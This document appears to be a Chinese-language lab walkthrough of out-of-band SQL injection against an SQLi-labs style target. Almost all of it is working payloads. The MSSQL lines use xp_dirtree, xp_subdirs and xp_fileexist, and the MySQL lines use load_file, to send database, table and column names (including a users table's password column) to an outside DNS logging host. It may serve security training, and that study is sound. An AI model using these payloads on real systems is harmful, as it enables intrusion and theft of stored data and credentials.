http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select count(name) from master.dbo.sysdatabases );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')
查第一个库名
1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select name from master.dbo.sysdatabases where dbid=1 );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')
查询第二个库名
1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select name from master.dbo.sysdatabases where dbid=2 );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(Select count(Name) FROM test.dbo.SysObjects Where XType='U' );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')
总共四个表
1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(Select top 1 Name FROM test.dbo.SysObjects Where XType='U');exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')
1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(Select top 1 Name FROM test.dbo.SysObjects Where XType='U' and name not in ('emails') );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')
关于如何取下一个表名,还有一种更巧妙的方法,
1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(Select top 1 Name FROM test.dbo.SysObjects Where XType='U' and name not in (select top 3 name from test.dbo.SysObjects Where XType='U') );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')
可知,这四个表分别为:emails,users,uagents 和 referers。
查询 users 表中的列名
1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('') );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')
依次执行下面命令,可以查的所有的列名
1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id', 'username') );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')
1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id', 'username', 'password') );exec('master..xp_dirtree "//' %2b @a %2b '.han.9rq9q9.ceye.io/a" ')
列名分别为 :id,username 和 password。
使用 xp_subdirs
1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id', 'username') );exec('master..xp_subdirs "//' %2b @a %2b '.subdirs.9rq9q9.ceye.io/a" ')
使用 xp_fileexist
1
http://192.168.100.237/less-6.asp?id=1; declare @a varchar(1024); set @a=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id', 'username') );exec('master..xp_fileexist "//' %2b @a %2b '.fileexist.9rq9q9.ceye.io/a" ')
select load_file(CONCAT('\\\\',(SELECT schema_name FROM information_schema.schemata limit 0,1), '.mysql.9rq9q9.ceye.io\\abc'))
1
select load_file(CONCAT('\\\\',(SELECT schema_name FROM information_schema.schemata limit 1,1), '.mysql.9rq9q9.ceye.io\\abc'))
查询 security 库中的表名
1
select load_file(CONCAT('\\\\',(SELECT table_name FROM information_schema.tables WHERE table_schema='security' limit 0,1), '.mysql.9rq9q9.ceye.io\\abc'))
注:也可以使用 database() 函数代替 security,不过要记住要先使用命令 use security; 否则会因当前没有使用的数据库造成失败。
查询 emails 表中列名
1
select load_file(CONCAT('\\\\',(SELECT column_name FROM information_schema.columns WHERE table_schema='security' and table_name = 'emails' limit 0,1), '.mysql.9rq9q9.ceye.io\\abc'))